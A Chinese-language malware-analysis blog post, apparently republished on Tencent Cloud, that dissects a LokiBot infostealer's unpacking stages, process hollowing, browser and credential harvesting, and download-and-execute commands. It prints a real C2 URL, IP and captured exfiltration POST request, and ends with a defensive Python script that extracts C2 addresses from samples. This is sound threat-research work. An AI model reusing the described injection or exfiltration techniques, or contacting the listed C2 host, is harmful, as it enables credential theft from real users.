前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >lokibot样本分析

lokibot样本分析

作者头像
红队蓝军
发布2023-09-05 14:29:07
1880
发布2023-09-05 14:29:07
举报
文章被收录于专栏:红队蓝军

火绒剑行为监控

行为监控

1.主程序在temp文件夹下释放frhdgr.exe

2.并创建进程 参数为 C:\Users\xxx\AppData\Local\Temp\frhdgr.exe C:\Users\xxx \AppData\Local\Temp\vxogkynyop

3.主进程退出

4.frhdgr.exe自我删除 并释放C:\Users\xxx\AppData\Roaming\F503CB\B28854.exe 隐藏文件

网络监控

frhdgr.exe有网络连接和数据包发送等行为 数据包未加密

恶意代码分析

第一层代码-释放PE文件

在temp文件夹下创建vxogkynyop文件

向文件中写入加密的代码

此加密代码解密后是一段shellcode 用于解密核心PE文件的

还会再temp文件夹下创建wdxw2bfd6vcc5n文件 此文件为样本的核心代码 解密后的数据是PE文件 解密算法就在vxogkynyop文件中

在临时文件夹下创建frhdgr.exe文件 向文件中写入PE文件

创建进程 进程参数就是vxogkynyop文件

提取样本

第二层代码-frhdgr.exe进程

解密代码 ((xx-0x18) ^ 0x80) - 0x28

第三层代码-解密后的shellcode

1.Temp文件夹下打开了wdxw2bfd6vcc5n文件

2.获取wdxw2bfd6vcc5n文件的大小

3.申请空间 读入wdxw2bfd6vcc5n文件的数据

4.文件句柄关闭

函数3a0a2b解密出PE文件

又创建了自己 并且是挂起状态

获取进程的线程上下文

在新创建的Frhdgr.exe进程申请空间 首地址为0x00400000

向新创建的Frhdgr.exe进程拷贝PE文件(按内存对齐展开)

注:此pe文件就是wdxw2bfd6vcc5n文件解密后的

运行程序

本进程退出

第四层代码-新创建的Frhdgr.exe进程

开始会检查有没有 -u参数如果有就睡10秒

获取键值

键值计算的哈希值作为互斥体的名称 创建互斥体防多开

此函数循环调用了65个函数 没有仔细的一个一个看 点进去几个 都是在获取用户机上已经安装的 病毒作者感兴趣的app的一些信息

65个函数中第一个函数获取火狐浏览器的版本信息

浏览器的安装路径 还会获取一些其他的浏览器信息

收集用户信息

获取用户名称

检索本地计算机的 NetBIOS 名称

检索此 SID 的帐户名称和找到此 SID 的第一个域的名称

网络相关

返回URL完整信息 http://sempersim.su/gg1/fre.php

解密URL

Sub_413bcc返回了完整的URL信息 函数会跳转到0x004A0000的位置执行代码 0x004A0000就是PE文件的.X段 .X段存储了解密代码 和未解密的数据

解密前的URL数据 在.X偏移0x74的位置

就是一个异或操作 数据异或0xFF

解密后

返回端口号 和要访问的路径

返回User Agent字段 Mozilla/4.08 (Charon; Inferno)

返回完整的post请求数据包

通过以下的域名和端口返回了 addrinfo结构的链表

EDI为addrinfo结构

连接的服务器就是通过getaddrinfo返回的 Connect连接的IP地址34.175.248.207

Send 发送数据

POST /gg1/fre.php HTTP/1.0

User-Agent: Mozilla/4.08 (Charon; Inferno)

Host: sempersim.su

Accept: */*

Content-Type: application/octet-stream

Content-Encoding: binary

Content-Key: 80D85F96

Content-Length: 206

Connection: close

发送开始收集到的用户的信息

Recv接收数据

HTTP/1.1 408 Request Time-out

content-length: 110

cache-control: no-cache

content-type: text/html

connection: close

<html><body><h1>408 Request Time-out</h1>.Your browser didn't send acomplete request in time</body></html>

函数返回注册表MachineGuid的值计算后的哈希值

移动病毒文件 新文件夹名称是哈希值的8~13位 新文件名称是13~18位

返回了注册表的路径 但感觉程序解析字符串的时候发生错误了

转换后的注册表的路径

创建键值 但是失败了 这里可以猜测病毒想加入到注册表自启动列表中 但是由于出现了什么问题 导致注册表路径发生错误 导致加入失败

设置文件的属性为系统文件且隐藏

函数sub_412D31开始有获取用户信息的操作 然后会发送给服务器 服务器回应的信息作为线程的参数 线程回调处理接收到的数据

线程部分

线程处理接收数据

可再次获取浏览器的信息 支持下载数据 创建进程 加载模块和打开网页等操作

核心函数sub_40648B 通过参数的不同执行不同的操作

参数介绍:

1.要下载数据的地址(url)

2.0

3.0

4.文件的后缀

5.CSIDL :26 通过SHGetFolderPathW函数获取C:\Program Files目录

6.值为1说明下载的是dll文件 值为0 会执行创建进程或者打开网页等操作

7.创建进程时的参数 0或者-u

配置静态提取工具:

代码语言:javascript
复制
import re
import struct
import sys

import pefile
from Cryptodome.Cipher import DES3

DESCRIPTION = "LokiBot configuration parser."
AUTHOR = "honkone"


def find_iv(pe):
    iv = -1
    t = pe.get_memory_mapped_image() if isinstance(pe, pefile.PE) else pe
    temp = re.findall(rb"""\x68...\x00.{1,10}\x68...\x00\x68...\x00\x68...\x00\x03\xc1""", t)
    if temp != []:
        (addr,) = struct.unpack_from("<I", temp[0][1:])
        addr -= 0x400000
        iv = t[addr : addr + 8]
    return iv


def try_find_iv(pe):
    dlen = 8 * 4
    t = pe.get_memory_mapped_image() if isinstance(pe, pefile.PE) else pe
    off = t.find(b"\x6a\x08\x59\xbe")
    if off == -1:
        return -1
    (addr,) = struct.unpack_from("<I", t[off + 4 :])
    addr -= 0x400000

    # Go until past next blob to \x00\x00\x00\x00
    off = t[addr + dlen + 4 :].find(b"\x00\x00\x00\x00")
    off += addr + dlen + 4 + 4
    iv = t[off : off + 8]

    # This doesn't work for all samples... still interesting that the data is in close proximity sometimes
    nul, key3, nul, key2, nul, key1 = struct.unpack_from("<I8sI8sI8s", t[off + 8 :])

    # key = f"\x08\x02\x00\x00\x03\x66\x00\x00\x18\x00\x00\x00{key1}{key2}{key3}"

    return iv


def find_conf(pe):
    dlen = 8 * 4
    t = pe.get_memory_mapped_image() if isinstance(pe, pefile.PE) else pe
    off = t.find(b"\x6a\x08\x59\xbe")
    (addr,) = struct.unpack_from("<I", t[off + 4 :])
    # print(hex(addr))
    addr -= 0x400000
    ret = [t[addr : addr + dlen]]
    dlen = 10 * 4
    off = t.find(b"\x6a\x0a\x59\xbe")
    (addr,) = struct.unpack_from("<I", t[off + 4 :])
    # print(hex(addr))
    addr -= 0x400000
    ret.append(t[addr : addr + dlen])

    return ret


def find_key(pe):
    ret = None
    t = pe.get_memory_mapped_image() if isinstance(pe, pefile.PE) else pe
    temp = re.findall(rb"""\x68...\x00\x68...\x00\x68...\x00\x03\xc1""", t)
    if temp != []:
        ret = "\x08\x02\x00\x00\x03\x66\x00\x00\x18\x00\x00\x00"
        temp = temp[0][:-2].split("\x68")[::-1]
        for a in temp:
            if a != "":
                (addr,) = struct.unpack_from("<I", a)
                # print(hex(addr))
                addr -= 0x400000
                ret += t[addr : addr + 8]
    return ret


def decoder(data):
    x_sect = None

    urls = re.findall(rb"""https?:\/\/[a-zA-Z0-9\/\.:\-_]+""", data)

    pe = None
    try:
        pe = pefile.PE(sys.argv[1])

        for sect in pe.sections:
            if ".x" in sect.Name:
                x_sect = sect
        img = pe.get_memory_mapped_image()
    except Exception:
        img = data
    if x_sect is not None:
        x = img[x_sect.VirtualAddress : x_sect.VirtualAddress + x_sect.SizeOfRawData]
        x = bytearray(x)
    else:
        x = bytearray(img)

    for i in range(len(x)):
        x[i] ^= 0xFF

    temp = re.findall(rb"""https?:\/\/[a-zA-Z0-9\/\.:\-_]+""", x)
    urls += temp

    urls = [x for x in urls if x not in ("http://www.ibsensoftware.com/", "")]

    # Try to decrypt onboard config then
    if not urls:
        temp = ""
        if pe is None:
            pe = data
        key = find_key(pe)
        # iv = try_find_iv(pe)
        iv = find_iv(pe)
        confs = find_conf(pe)
        if iv not in ["", -1] and confs != []:
            for conf in confs:
                dec = DES3.new(key[12:], DES3.MODE_CBC, iv)
                temp += dec.decrypt(conf)
            temp_urls = re.findall(rb"""[a-zA-Z0-9\/\.:\-_]{6,}""", temp)
            urls += temp_urls

    return urls


def extract_config(filebuf):
    urls = decoder(filebuf)
    return {"address": [url.decode() for url in urls]}


if __name__ == "__main__":
    with open(sys.argv[1], "rb") as f:
        data = f.read()

    print(extract_config(data))
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2023-08-09,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 红队蓝军 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 恶意代码分析
    • 第一层代码-释放PE文件
      • 第二层代码-frhdgr.exe进程
        • 第三层代码-解密后的shellcode
          • 第四层代码-新创建的Frhdgr.exe进程
            • 收集用户信息
              • 网络相关
                • 解密URL
                  • 线程部分
                  相关产品与服务
                  腾讯云代码分析
                  腾讯云代码分析(内部代号CodeDog)是集众多代码分析工具的云原生、分布式、高性能的代码综合分析跟踪管理平台,其主要功能是持续跟踪分析代码,观测项目代码质量,支撑团队传承代码文化。
                  领券
                  问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档